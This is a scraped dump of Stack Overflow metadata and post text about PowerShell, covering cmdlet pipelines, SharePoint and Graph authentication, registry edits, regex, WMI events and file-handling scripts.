has body: Consider the following Invoke-Command { 'a'; Write-Verbose 'a' -Verbose 'b'; Write-Verbose 'b' -Verbose } | . { process { Write-Verbose "downstream_$_" -Verbose } } which outputs VERBOSE: downstream_a VERBOSE: a VERBOSE: downstream_b VERBOSE: b Note that process{} of the second scriptblock is invoked immediately when the first emits an object. On the other hand, consider a similar construction except replacing Invoke-Command with a custom compiled Cmdlet: Add-Type ` -PassThru ` -TypeDefinition @' using System.Management.Automation; namespace n { [Cmdlet(VerbsLifecycle.Invoke,"SomeScriptBlockThing")] public class InvokeSomeScriptBlockThing : Cmdlet { [Parameter(Mandatory=true,Position=1)] public ScriptBlock ScriptBlock { get; set; } protected override void EndProcessing() { var output = ScriptBlock.Invoke("some_fancy_argument"); foreach (var o in output) { WriteObject(o); } } } } '@ | % Assembly | Import-Module Invoke-SomeScriptBlockThing { param($SomeFancyArgument) 'a'; Write-Verbose 'a' -Verbose 'b'; Write-Verbose 'b' -Verbose } | . { process { Write-Verbose "downstream_$_" -Verbose } } which outputs VERBOSE: a VERBOSE: b VERBOSE: downstream_a VERBOSE: downstream_b Note that, in this case, all of the objects output from the first scriptblock are accumulated in output until the first scriptblock completes, then all objects are output all at once. The real challenge I'm solving here is to obtain a CancellationToken using the technique demonstrated here. For that technique, the invocation of the Cmdlet must outlive the token. The natural way to ensure that is to have the Cmdlet make the token available (where $SomeFancyArgument appears here) to a scriptblock it invokes. But with the implementation shown, the Cmdlet doesn't emit anything until the scriptblock completes. How can I make the execution order of my Cmdlet match that of the first example? That is, how can I make my Cmdlet output each object as it is produced by the scriptblock it invokes? Note that this old …
tagged with: powershell-cmdlet
has comment: http://stackoverflow.com/comment/139761678
favorite count: 0
has comment: http://stackoverflow.com/comment/139761299
linked to: http://stackoverflow.com/q/60790273
answer count: 3
type: Question
has comment: http://stackoverflow.com/comment/139770713
downvote count: 0
tagged with: pipeline
linked to: http://stackoverflow.com/q/5183389
has title: For a compiled Cmdlet, how can I output each object immediately from an invoked scriptblock?
linked to: http://stackoverflow.com/q/79246029
has answer: http://stackoverflow.com/a/79256609
has answer: http://stackoverflow.com/a/79262856
tagged with: powershell

http://stackoverflow.com/a/79412192
has body: I believe that it is not actually mocking the New-Object command which is causing the failure. I've tried rescoping the Mock inside the "It" but still getting the same results. The problem seems to be with my Mock statement.
score: 0
type: Answer
answers question: http://stackoverflow.com/q/79412056
has comment: http://stackoverflow.com/comment/140048744
has comment: http://stackoverflow.com/comment/140066047

http://stackoverflow.com/q/79264968
score: 0
tagged with: shell
has answer: http://stackoverflow.com/a/79267146
tagged with: sharepoint-online
has body: I have been tasked with extracting SharePoint List schemas for storage and I'm using PnP PowerShell module to do this, we also want to automate this so can't use interactive login, it must be non-interactive. I have followed PnP's instructions to create an App Reg but left out the instructions for Adding a Platform and redirect URI. I am trying to test locally to ensure the script works and authenticating with my user email &amp; password as I have Full Control permissions on the website and can access the site via a browser, however I get the below error when running the script Error occurred: AADSTS53003: Access has been blocked by Conditional Access policies. The access policy does not allow token issuance. The returned error contains a claims challenge. For additional info on how to handle claims related to multifactor authentication, Conditional Access, and incremental consent, see https://aka.ms/msal-conditional-access-claims. If you are using the On-Behalf-Of flow, see https://aka.ms/msal-conditional-access-claims-obo for details. Here is my code: $encryptedPassword = ConvertTo-SecureString -String $password -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ($username, $encryptedPassword) Connect-PnPOnline -Url $targetSite -ClientId $ClientId -Credentials $creds -Verbose We want to avoid using the other authentication option of a self-signed cert as it requires jumping over many internals hoops to get signed off and using secrets/access tokens are considered legacy methods by PnP. I can't see what's blocking me from accessing the site programatically?
type: Question
has title: PnP PowerShell Authentication Issue with SharePoint
tagged with: sharepoint
answer count: 1
tagged with: powershell
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139775226

http://stackoverflow.com/a/79387414
upvote count: 1
has body: The problem was on my end, it was a scoping issue. Databinding now works perfectly. I now have Suduko working with databinding! Here is the corrected ezXAML library, Enjoy! MIT free licence, use at your own risk. Basically AngularJS but in Powershell. # ezxaml.ps1 v0.0.5 # By: Crawford Computing # This facilitates creating a window using WFP and XAML, and wiring up events. # This draws heavily on concepts from AngularJs, and includes a virtual DOM. # You can use ezClick, ezKeyDown, ezTextChanged ezMouseDown and ezBind attributes for your XAML elements # note: KeyDown and TextChanged have a bug in .net, we cannot use ezBind in conjuction with them # Events and Data are bound on window open, and data is bebound during every event. # in your click handle, your params are: "param ($sender, $eventArgs, $data)" # $sender.Name is the button name, $data is the scope data object. this is the data you can bind and otherwise use in your app. # Usage: # $element = CreateElement -tag [String] -attr [Dictionary [String,String] -selfClosing [Bool, default = false] # This creates a XamlElement, our internal class. is created for us in LoadWindow-XAML # $element.AddAttribute([Name],[Value]) # Add an attribute after the element is created # $element.AddChild([XamlElement], $place = "last") # this adds a child to the dom. Place can be first, last, or an int for position. # $clone = $element.Clone() # this recursively clones the tree from element # $element.ToXamlString($debug = $false) # this converts the entire DOM tree from this element to the last grandchild to a string. The debug flag will include our custom non-valid tags # $element.ToXamlString($debug = $false) # this converts the entire DOM tree from this element to the last grandchild to a string. The debug flag will include our custom non-valid tags. # PrettyPrint -element [XamlElement] # using ToXamlString, this will include indentations and new lines to make debugging easier # LoadWindow-XAML -content [XamlElement], -title …
answers question: http://stackoverflow.com/q/79347016
score: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79347016
type: Answer
downvote count: 0

http://stackoverflow.com/a/79298044
downvote count: 0
type: Answer
score: 2
has body: The about_Parameters_Default_Values never state that a script path is supported. Either use a default value in your script parameter and remove the Mandatory decoration: [CmdletBinding()] param ( [Parameter(ValueFromPipeline, ValueFromPipelineByPropertyName)] [ValidateNotNullOrEmpty()] [string] $Path = "C:\temp\db.jsonc" ) "path ---> $path" Or use a function instead: function Test-Function { [CmdletBinding()] param ( [Parameter(ValueFromPipeline, ValueFromPipelineByPropertyName, Mandatory)] [string]$Path ) "path ---> $path" } $PSDefaultParameterValues['Test-Function:Path'] = 'C:\temp\db.jsonc' Test-Function
answers question: http://stackoverflow.com/q/79297671
accepted answer of: http://stackoverflow.com/q/79297671
type: AcceptedAnswer
upvote count: 2

http://stackoverflow.com/q/79353262
tagged with: sql-server
linked to: http://stackoverflow.com/q/21013909
tagged with: powershell
has comment: http://stackoverflow.com/comment/139936947
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139936204
favorite count: 0
has comment: http://stackoverflow.com/comment/139936284
type: Question
downvote count: 0
has body: Here are the commands I ran: PS C:\Users\admin> $ServerInstance = "hlk-s19" PS C:\Users\admin> Import-Module SqlServer PS C:\Users\admin> $server = New-Object ("Microsoft.SqlServer.Management.Smo.Server") $ServerInstance PS C:\Users\admin> $server Instance Name Version ProductLevel UpdateLevel HostPlatform HostDistribution ------------- ------- ------------ ----------- ------------ ---------------- hlk-s19 15.0.4261 RTM CU18 Windows Windows Server 2019 Datacenter PS C:\Users\admin> $sps = $server.EnumServerPermissions("hlk-s19\admin") PS C:\Users\admin> $sps PermissionType : CONNECT SQL Grantee : HLK-S19\admin GranteeType : Login Grantor : sa GrantorType : Login PermissionState : Grant ColumnName : ObjectClass : Server ObjectName : hlk-s19 ObjectSchema : ObjectID : 0 PS C:\Users\admin> $server.Grant($sps, "hlk-s19\hlk") MethodException: Cannot find an overload for "Grant" and the argument count: "2". I followed examples like: How to use Powershell to modify SQL login permission? Also the Microsoft documentation: https://learn.microsoft.com/en-us/sql/relational-databases/server-management-objects-smo/tasks/granting-revoking-and-denying-permissions?view=sql-server-ver16#granting-server-permissions-in-powershell My guess is I'm missing some module that I should load? I also tried all number of arguments from 0 to 6, all same error. Tried typo 'Grantt' to verify that 'Grant' is actually a valid function name on my Windows, it is.
score: 2
answer count: 0
upvote count: 2
has comment: http://stackoverflow.com/comment/139936192
has title: Why am I getting "MethodException: Cannot find an overload for "Grant" and the argument count: "2"." trying to Grant permission on SQL Server

http://stackoverflow.com/comment/139967444
type: AnswerComment
comment on: http://stackoverflow.com/a/79358753
type: Comment
score: 0
has text: More info: I mentioned Suduko is complete without the data binding: meaning in the HandleKeyDown function I both set the data, and then set the element's .Text value to match. If I then split this into two functions setData(value) as we know the active cell (clicked on before the number is typed and saved), and setElementText() (the data array indices and elements share names, so with cellName we can get both) and call setData first, setElementText will fail with the same error. It's the same code same order of execution. However if setElementText code is in a secondary function it fails.

http://stackoverflow.com/a/79258729
answers question: http://stackoverflow.com/q/79255264
upvote count: 1
has comment: http://stackoverflow.com/comment/139768091
has comment: http://stackoverflow.com/comment/139766654
has comment: http://stackoverflow.com/comment/139767361
has body: I eventually came across this answer which states: Unlike the extrinsic event Win32_ProcessStartTrace that you are currently using, the __InstanceCreationEvent and __InstanceDeletionEvent WMI intrinsic events do not require administrator rights. Indeed, replacing the registration and process extraction with Register-CimIndicationEvent ` -Query "SELECT TargetInstance FROM __InstanceCreationEvent WITHIN 0.1 WHERE TargetInstance ISA 'Win32_Process'" ` -SourceIdentifier $sourceId and $newProcessHandle = $event.SourceEventArgs.NewEvent.TargetInstance.Handle $newProcess = Get-CimInstance ` -Query "SELECT * FROM Win32_Process WHERE Handle = $newProcessHandle" yields the same result as the original code without administrator privileges. Missed events, processor usage, and polling interval WITHIN 0.1 in the registration query refers to a polling interval of 0.1 seconds. The documentation for the WITHIN clause contains the following statements: ...This interval is the maximum amount of time that can pass before notification of an event must be delivered. A consumer uses a polling interval in a WITHIN clause when the consumer requires notification of changes to a class, and an event provider is unavailable. The consumer registers for an intrinsic event and includes the polling interval. ... ...the interval should represent a number of seconds rather than an extremely small value such as 0.001, because specifying a value that is too small can cause WMI to reject the statement as not valid—due to the resource-intensive nature of polling. Because most event consumers do not require immediate notification, it is recommended that they use an interval that is greater than 5 minutes. This related answer states the following: All intrinsic events (like __InstanceCreationEvent) in WMI makes use of polling to detect changes - there is always a chance that a particularly short event will be missed. By decreasing the polling interval you will definitely improve the detection rate however …
has comment: http://stackoverflow.com/comment/139767340
downvote count: 0
has comment: http://stackoverflow.com/comment/139766602
has comment: http://stackoverflow.com/comment/139767722
has comment: http://stackoverflow.com/comment/139767580
type: Answer
has comment: http://stackoverflow.com/comment/139767063
score: 1

http://stackoverflow.com/q/79257011
tagged with: powershell
type: UnansweredQuestion
score: 0
has body: I am trying to create a registry key "ABCProxy" for an application say "Pricer" then I want add parameters and values to the key Enable x3 and RetryAttemptsx5 Define the path to the registry key $registryPath = 'HKLM\SOFTWARE\WOW6432Node\OurC\Pricer\Application\ABCProxy' Create the registry key New-Item -Path $registryPath -Force Set a new value within the recreated registry key {New-ItemProperty -Path $registryPath -Name "Enable" -Value "3" -PropertyType "Reg_DWORD"} {New-ItemProperty -Path $registryPath -Name "RetryAttempts" -Value "5" -PropertyType "Reg_DWORD"} Verify the change {Get-ItemProperty -Path $registryPath}
has comment: http://stackoverflow.com/comment/139760441
has comment: http://stackoverflow.com/comment/139760491
type: Question
has title: Powershell - Create new registry key and add values
has comment: http://stackoverflow.com/comment/139761722
has comment: http://stackoverflow.com/comment/139760503
has comment: http://stackoverflow.com/comment/139760771
has comment: http://stackoverflow.com/comment/139760795
answer count: 0
tagged with: registrykey

http://stackoverflow.com/q/79359037
type: Question
has title: Using Powershell trying to read from an excel column and create an array but keep getting a string
answer count: 1
has body: I am trying to read an excel document and grab the values of one column and turn it into an array of values however I keep getting a string of all the values together. How do i get it to store the column values into an array rather than a string? My code is as such. #Read the Excel Data and change path accordingly $FilePath = Read-Host -Prompt "Enter location of excel file with metadata/configs. Please include the name of the file along with its location" $data = Import-Excel -Path $FilePath -Worksheet data $importActionConfig = Import-Excel -Path $FilePath -Worksheet ImportActionConfig $LookupColumns = @($importActionConfig.'lookup_columns') ForEach($IndividualLookupColumn in $LookupColumns) { Write-Host "$IndividualLookupColumn individual Column" -ForegroundColor red -BackgroundColor white Write-Host $LookupColumns.count Write-Host $IndividualLookupColumn.count Write-Host "$LookupColumns Lookup Column" -ForegroundColor red -BackgroundColor white } I keep expecting the $IndividualLookupColumns value to be each item in an array, but instead the Foreach loop only goes once and the value for $IndividualLookupColumns is the same as for $LookupColumns. Both are strings and not an array.
score: 2
has answer: http://stackoverflow.com/a/79385553
upvote count: 2
downvote count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139947294
tagged with: shell
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139950668
has comment: http://stackoverflow.com/comment/139947250
tagged with: windows
has comment: http://stackoverflow.com/comment/139948061
has comment: http://stackoverflow.com/comment/139947494
favorite count: 0

http://stackoverflow.com/a/79264357
has body: Open the settings with CTRL-,, search for terminal default location and change that from editor to view.
downvote count: 0
has comment: http://stackoverflow.com/comment/139773686
has comment: http://stackoverflow.com/comment/139773160
upvote count: 1
has comment: http://stackoverflow.com/comment/139772980
answers question: http://stackoverflow.com/q/79264325
score: 1
has comment: http://stackoverflow.com/comment/139774028
has comment: http://stackoverflow.com/comment/139773002
type: Answer

http://stackoverflow.com/q/79265633
has comment: http://stackoverflow.com/comment/139775373
has comment: http://stackoverflow.com/comment/139778236
has comment: http://stackoverflow.com/comment/139775338
tagged with: atomic
answer count: 2
type: Question
has title: Are assignments from .Net methods atomic when stopping PowerShell?
has comment: http://stackoverflow.com/comment/139780908
downvote count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139775487
has comment: http://stackoverflow.com/comment/139775497
has comment: http://stackoverflow.com/comment/139775558
has comment: http://stackoverflow.com/comment/139775472
has comment: http://stackoverflow.com/comment/139775384
linked to: http://stackoverflow.com/q/76630900
tagged with: variable-assignment
has comment: http://stackoverflow.com/comment/139775407
linked to: http://stackoverflow.com/q/17847276
tagged with: race-condition
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/79266755
score: 1
has answer: http://stackoverflow.com/a/79266703
has body: Consider the following code which opens a file for writing in a job, stops that job, then opens the same file for writing again: $filePath = [system.io.path]::GetTempFileName() $job = Start-ThreadJob ` -ArgumentList $filePath ` -ScriptBlock { param($filePath) end { $fs = [System.IO.StreamWriter]::new($filePath) } clean { ${fs}?.Dispose() } } $job | Stop-Job $fs = [System.IO.StreamWriter]::new($filePath) The clean{} block seems to run to completion before Stop-Job completes, which means $fs gets disposed if it was assigned. But what happens if the job is stopped when new() has already started, but the assignment to $fs has not completed? Does the assignment complete? Is the following line atomic when stopping PowerShell? $fs = [System.IO.StreamWriter]::new($filePath) Background Working definition of atomicity For this question I think the following definition of "atomic" applies: Given a statement running in a runspace a. that includes an expression that produces a new object from a .Net method referred to in that expression, b. that mentions a PowerShell variable accessible at the scope of the statement, c. where the statement is an assigment of the object returned by the .Net method in (a) to the PowerShell variable in (b), and d. where the statement and assignment would succeed without error or exception if the runspace were not stopped, the statement is atomic iff for all possible combinations of e. instants in time stopping of the runspace is invoked, and f. valid implementations of the .Net method as defined by applicable C# or .Net standards and specifications either g. the .Net method does not begin executing, or h. the entire .Net method executes to completion and the object it returns is assigned to the variable. @mklement0 alluded to this definition in a manner that might improve clarity: ...assuming that the RHS has run to completion and can be assigned to the target variable without violating a type constraint, is there a way for Stop-Job to get in the w…
has comment: http://stackoverflow.com/comment/139775462
upvote count: 1
favorite count: 0
tagged with: dispose

http://stackoverflow.com/q/79385377
tagged with: powershell
has answer: http://stackoverflow.com/a/79385714
accepted answer: http://stackoverflow.com/a/79385714
has comment: http://stackoverflow.com/comment/139997261
has comment: http://stackoverflow.com/comment/139997146
favorite count: 0
has comment: http://stackoverflow.com/comment/139997153
answer count: 2
type: Question
has comment: http://stackoverflow.com/comment/139997092
has comment: http://stackoverflow.com/comment/139997532
tagged with: regex
has comment: http://stackoverflow.com/comment/139996957
has answer: http://stackoverflow.com/a/79386724
possible better answer: http://stackoverflow.com/a/79386724
has title: PowerShell multiline regex is matching on regex101.com AND regexr.com, but not in Powershell code
has comment: http://stackoverflow.com/comment/139997034
type: AnsweredQuestion
downvote count: 1
score: 2
has comment: http://stackoverflow.com/comment/139997144
has comment: http://stackoverflow.com/comment/139997100
upvote count: 3
has comment: http://stackoverflow.com/comment/139997173
has comment: http://stackoverflow.com/comment/139997073
has comment: http://stackoverflow.com/comment/139999980
has body: This regex: (?is)[\s\S]*?\[General\][\s\S]*?SystemMustBeRebooted=(\d)[\s\S]*?\[Install Execution\][\s\S]*?SilentInstall=""(.*?)"".* doesn't match the below cut down part of the file in Powershell. I need to extract: SystemMustBeRebooted value The SilentInstall value It DOES work however, on regex101.com (with removed (?is)), using .NET regex, AND regexr.com set to Powershell regex none the less! Here is the result when relevant code lines are run in Powershell: $CVAFileContents = get-content $($CVAFile).fullname -raw $RebootNeededandSilentInstall = $CVAFileContents | select string -pattern '(?s)[\s\S]*?\[General\][\s\S]*?SystemMustBeRebooted=(\d)[\s\S]*?\[Install Execution\][\s\S]*?SilentInstall="(.*?)".*' -allmatches $RebootNeededandSilentInstall <back to PS prompt> If I cut the regex back to [General], it matches the below. Anything more added, no results though. [General] PN=P01759-B2M Version=24.9764.1433.30 Revision=Q Pass=5 Type=Driver Category=Driver-Audio SystemMustBeRebooted=0 .... [Install Execution] Install="HPUP.exe" SilentInstall="HPUP.exe" What is wrong with my regex?? EDIT: Of course it works when using -match (without the thought-to-be-needed double escaping of "): $CVAFileContents -match '(?s)[\s\S]*?\[General\][\s\S]*?SystemMustBeRebooted=(\d)[\s\S]*?\[Install Execution\][\s\S]*?SilentInstall="(.*?)".*' | out-null Produces: $Matches Name Value ---- ----- 2 HPUP.exe 1 0 0 [CVA File Information]... Just for curiousity, why does the same expression work with -match and not select-string??

http://stackoverflow.com/comment/139798389
comment on: http://stackoverflow.com/q/79276698
score: 1
has text: @SantiagoSquarzon I think it was actually 5.0, anyway every supported version of Windows has 5.1, so not sure what OP's system is. Great answer by the way.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139891960
has text: I'm unclear on what you're trying to say, but, if you think you've found a solution, I encourage you to post it as an answer, along with additional information for clarification.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79329816
score: 0

http://stackoverflow.com/comment/139764959
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79259964
score: 1
has text: What about [Substring](https://learn.microsoft.com/en-us/dotnet/api/system.string.substring?view=net-9.0) rather than `-split`, i.e. `"pcst400801".Substring(0,6) + "-" + "pcst400801".Substring(6)`

http://stackoverflow.com/q/79245493
answer count: 1
downvote count: 0
linked to: http://stackoverflow.com/q/59914704
has comment: http://stackoverflow.com/comment/139741606
tagged with: powershell
has answer: http://stackoverflow.com/a/79245527
has comment: http://stackoverflow.com/comment/139739637
type: UnansweredQuestion
score: 1
upvote count: 1
favorite count: 0
has body: I have thousands of photos and movies that I’m trying to clean up. Many of the files are duplicates but have a different name. I want to loop through a folder and if two or more files have the same size, show the file names as an output so I can go back and review each to see if they are a duplicate or not. Running this I can sort by file size, but it is a full list of files. Is there a way I can only output the same sized files? get-childitem $path -recurse -filter "*.mov" | group-object length | sort-object name -desc
has comment: http://stackoverflow.com/comment/139739674
type: Question
has title: Can PowerShell compare files and list those are the same size?

http://stackoverflow.com/comment/140008494
comment on: http://stackoverflow.com/a/79375356
type: Comment
score: 0
has text: did that work for you? for me its always a subprocess.
type: AnswerComment

http://stackoverflow.com/a/79377962
score: 0
answers question: http://stackoverflow.com/q/79377371
type: Answer
has body: Well-documented in about_automatic_variables: $input Contains an enumerator that enumerates all input that's passed to a function. The $input variable is available only to functions, script blocks (which are unnamed functions), and script files (which are saved script blocks). In a function without a begin, process, or end block, the $input variable enumerates the collection of all input to the function. In the begin block, the $input variable contains no data. In the process block, the $input variable contains the current object in the pipeline. In the end block, the $input variable enumerates the collection of all input to the function. Follow sirtao's comment: just remove the process{} block from Sort-Scripts, or replace it with end{}.

http://stackoverflow.com/comment/139810541
has text: This is amazing! Spot on. Thank you so much! I hadn't used import-excel enough to think to bring in the entire workbook - that will help elsewhere in my logic. I made one slight mod: "Close-ExcelPackage $excelPackage -NoSave" <-- I had the file open side-by-side so it threw an error, but it reminded me that I need to avoid modifying the original file and my source might be already open depending on scenario.
type: Comment
comment on: http://stackoverflow.com/a/79283454
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139969614
has text: To resolve the "Access Denied" error when running commands like Get-CsTenant or Get-CsOnlineUser using application authentication in Microsoft Teams PowerShell, ensure that the application has the necessary permissions and roles assigned. Reference Document-https://learn.microsoft.com/en-us/microsoftteams/teams-powershell-application-authentication
comment on: http://stackoverflow.com/q/79364096
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139945330
type: Comment
has text: Please show in code, what you have tried so far. StackOverflow works best, when there is a specific problem with existing code, instead of just the requirements for a task.
comment on: http://stackoverflow.com/q/79355571
score: 1
type: QuestionComment

http://stackoverflow.com/comment/139904662
comment on: http://stackoverflow.com/a/79330628
type: Comment
score: 0
type: AnswerComment
has text: you actually never addressed the problem code. I figured out what was wrong on my own a while ago, but now I no longer care. The toxicity of SO has not changed at all. Good job.

http://stackoverflow.com/comment/139804118
has text: Also `invoke-command -computername $servers` would run faster.
type: Comment
comment on: http://stackoverflow.com/q/79278916
score: 1
type: QuestionComment

http://stackoverflow.com/comment/139777508
type: AnswerComment
type: Comment
has text: _"...I assume that a Stop-Job call can not interrupt a runspace between the act of having captured a run-to-completion RHS and assigning the result to a PowerShell variable..."_ I was hoping this too, but [this testing seems to show there are many ways to express a construction/assignment statement where construction succeeds but assignment does not complete.](https://stackoverflow.com/a/79266703/1404637)
score: 0
comment on: http://stackoverflow.com/a/79266755

http://stackoverflow.com/a/79292290
downvote count: 0
has comment: http://stackoverflow.com/comment/139826590
answers question: http://stackoverflow.com/q/79290835
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/79290835
has body: There are a few issues with your code and improvements you can make. First, Host output (produced by Write-Host) isn't visible in the Automation Account Job output. The only outputs that the AA knows are Success, Error and Warning. Second issue is here: $DevicesToDelete = $AllDevices.value | Where-Object { There is no .value in the objects of $AllDevices, those are already device type objects. An improvement, you don't need to filter approximateLastSignInDateTime client side, Graph API knows how to filter by this property: In essence you can do: # `o` format is `yyyy-MM-ddTHH:mm:ss.fffffffZ`, Graph accepts it no problem :) $dt = [datetime]::UtcNow.AddDays(-180).ToString('o') $uri = "v1.0/devices?`$filter=approximateLastSignInDateTime le $dt" $AllDevices = @() and $AllDevices += $response.value is inefficient, should be avoided. You can simply assign the result of the loop expression to a variable, i.e.: $AllDevices = do { ..... $response.value }. See Why should I avoid using the increase assignment operator (+=) to create a collection for details. In summary, your code can be: # Authenticate to Microsoft Graph using the certificate $connectMgGraphSplat = @{ ClientId = 'clientID' TenantId = 'tenantID' CertificateThumbprint = 'certificateThumbprint' NoWelcome = $true } Connect-MgGraph @connectMgGraphSplat # Number of days a device must be inactive before deletion (180 days in this case) $dt = [datetime]::UtcNow.AddDays(-180).ToString('o') # Fetch devices from Microsoft Graph with pagination where # `approximateLastSignInDateTime` is lower than or equal to `$dt` $uri = "v1.0/devices?`$filter=approximateLastSignInDateTime le $dt" $DevicesToDelete = do { $response = Invoke-MgGraphRequest GET $uri if ($response.value) { $response.value } $uri = $response.'@odata.nextLink' } while ($uri) # Debugging: Output the total number of devices TO DELETE fetched # NOTE: `Write-Host` was removed here, same as below with `"Deleted device:...` "Total devices to delete fetched: $($Devic…
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/139827224

winget
type: Tag
tag name: winget
tags question: http://stackoverflow.com/q/79280712
tags question: http://stackoverflow.com/q/79370205
tags question: http://stackoverflow.com/q/79414856

http://stackoverflow.com/q/79249490
tagged with: visual-studio
tagged with: windows
type: Question
answer count: 0
has title: Visual Studio 2022 with PowerShell Tools does not show anything on locals, why?
downvote count: 0
upvote count: 1
tagged with: powershell
has body: Using Win10 + Visual Studio (updated as of today) + Powershell Tools Microsoft Visual Studio Community 2022 (64-bit) - Current Version 17.12.3 Debugging and running the program works fine, but the LOCALS window is completely empty. I did run VS 2022 also as Administrator, no help. Any idea what it could be?
type: UnansweredQuestion
favorite count: 0
score: 1

http://stackoverflow.com/q/79251306
favorite count: 0
accepted answer: http://stackoverflow.com/a/79251448
has comment: http://stackoverflow.com/comment/139750723
has title: Having an issue displaying a part of a string read in from a csv file
has answer: http://stackoverflow.com/a/79251448
type: Question
score: 2
upvote count: 2
downvote count: 0
tagged with: powershell
answer count: 1
type: AnsweredQuestion
tagged with: write-host
has body: I have a table that contains 4 columns in csv format. I read in the rows and write them to a server by converting them to json and writing it. The rows are built of: name Hash (in sha256 format) group a value of True or False I have everything working exactly as it should except for one annoying possibly simple issue, where I am trying to display on the screen the specific value that was written and display what Hash and what display name were written to the server. But I keep getting all the data despite trying to chose the relevant item to display by using @ebrobject.description or @ebrobject.sha256, both of these display the full string. How can I display only the data field or the hash field and not everything ? This is my code (certain items have been redacted). param ( [string] $server = 'redacted server address', # Minerva Management user name # [Parameter(Mandatory = $true)] [string] $user = "redacted", # CSV file path (or the file name if they are on the same folder), e.g "C:\Users\userName\Desktop\hashesToBlock.csv" [string] $filePath = "hashesToBlock.csv" ) function Read-Password() { $SecurePassword = Read-Host -Prompt "Enter $user password" -AsSecureString $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecurePassword) return [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR) } Try { $csv = Import-Csv -path $filePath } Catch { "Couldn't open file [$filePath]: ${$_.Exception.Message}" Break } $password = Read-Password $loginUrl = "$redacted" $loginPayload = @{ username = $user password = $password } Try { $res = Invoke-RestMethod -Method Post -SessionVariable session -Uri $loginUrl -Body (ConvertTo-Json $loginPayload -Depth 3) -ContentType "application/json" "Login successful." } Catch { $_.Exception.Message Break } # Mike made changes in this section Write-Host "Are you sure those are the hashes you want to block?`n" -ForegroundColor Yellow # Write-Host "`nHashes details:`n" $csv $Count = 0 foreach ($ebrDeatails in $cs…
tagged with: http://stackoverflow.com/tag/csv
linked to: http://stackoverflow.com/q/1145704

http://stackoverflow.com/q/79287889
accepted answer: http://stackoverflow.com/a/79290171
score: -1
type: Question
answer count: 1
tagged with: powershell
type: AnsweredQuestion
has title: Issue with Azure Automation Account and Key Vault Certificate Retrieval
downvote count: 1
has comment: http://stackoverflow.com/comment/139815999
has answer: http://stackoverflow.com/a/79290171
has body: I'm facing an issue when attempting to retrieve a certificate from Azure Key Vault within an Azure Automation Runbook. Despite verifying that the certificate exists, I encounter errors when running the script. The automation account has been assigned the Key Vault Certificate User and Key Vault Secrets User roles, and I’ve ensured the API permissions are correct (Microsoft Graph Sites.FullControl.All, Microsoft Graph User.Read, SharePoint Sites.FullControl.All). I also checked in Entra ID, and confirmed that certificate-based authentication is enabled. Error Output: Completed Environments Context ------------ ------- {[AzureChinaCloud, AzureChinaCloud], [AzureCloud, AzureCloud], [AzureUSGovernment, AzureUSGovernment]} Microsoft.Azure.… Exception calling ".ctor" with "3" argument(s): "Array may not be empty or null. (Parameter 'rawData')" System.Management.Automation.ParameterBindingValidationException: Cannot bind argument to parameter 'ClientCertificate' because it is null. at System.Management.Automation.ParameterBinderBase.ValidateNullOrEmptyArgument(CommandParameterInternal parameter, CompiledCommandParameter parameterMetadata, Type argumentType, Object parameterValue, Boolean recurseIntoCollections) at System.Management.Automation.ParameterBinderBase.BindParameter(CommandParameterInternal parameter, CompiledCommandParameter parameterMetadata, ParameterBindingFlags flags) at System.Management.Automation.CmdletParameterBinderController.BindParameter(CommandParameterInternal argument, MergedCompiledCommandParameter parameter, ParameterBindingFlags flags) at System.Management.Automation.CmdletParameterBinderController.BindParameter(UInt32 parameterSets, CommandParameterInternal argument, MergedCompiledCommandParameter parameter, ParameterBindingFlags flags) at System.Management.Automation.CmdletParameterBinderController.BindNamedParameter(UInt32 parameterSets, CommandParameterInternal argument, MergedCompiledCommandParameter parameter) at System.Management.Automati…
upvote count: 0
tagged with: azure-active-directory
tagged with: azure
linked to: http://stackoverflow.com/q/75956262
has comment: http://stackoverflow.com/comment/139815989
favorite count: 0
has comment: http://stackoverflow.com/comment/139815868

http://stackoverflow.com/comment/139811213
type: Comment
comment on: http://stackoverflow.com/q/79276781
has text: Wireshark was indeed running as administrator, but I recalled that the installation did not.
score: 1
type: QuestionComment

http://stackoverflow.com/q/79368281
score: 0
has answer: http://stackoverflow.com/a/79369105
answer count: 2
tagged with: windows
type: Question
has comment: http://stackoverflow.com/comment/139965408
has title: How to batch run a script that finds duplicates, replacing them with the smaller file, across directories?
has answer: http://stackoverflow.com/a/79370741
has comment: http://stackoverflow.com/comment/140178540
tagged with: powershell
has body: I have a script i've mixed and matched and can't get working (at the bottom). To give an example: I'm using powershell to find duplicate files - file names. I have a file - WhatzIt.mp3 - which is the one I want to keep, because it's the smallest in that particular encoding. I have older/larger versions of the file in other directories - with different extensions - that i would want to overwrite with that file. Example: FolderA - WhatzIt.mp3 5mb FolderB - WhatzIt.m4a 10mb FolderB - WhatzIt.opus 7mb FolderB - WhatzIt.mp3 8mb Desired Result: FolderA - WhatzIt.mp3 5mb FolderB - WhatzIt.mp3 5mb I want a recursive search that in selected (2 or more, FolderA + FolderB) directories and their subdirectories, would recognise there are (in this example) 4 files that have the same filename ('WhatzIt', possibly case sensitive, ignoring extension differences) Which then allows me in way, to automatically recognise and copy the smaller file (WhatzIt.mp3) into the directories that were found to have files with the same name (WhatzIt.,4a, WhatzIt.opus), potentially overwriting files (WhatzIt.mp3 in FolderB). And deleting the other larger files with the same name (WhatzIt.m4a, WhatzIt.opus). Here is the code i've already tried - while i googled, i know almost nothing about how or why. $aDir = "C:\FolderA" $bDir = "C:\FolderB" $aFiles = Get-ChildItem -Path "$aDir" -Recurse $bFiles = Get-ChildItem -Path "$bDir" -Recurse ForEach ($file in $aFiles) { if(Test-Path $bFiles) | Where-Object 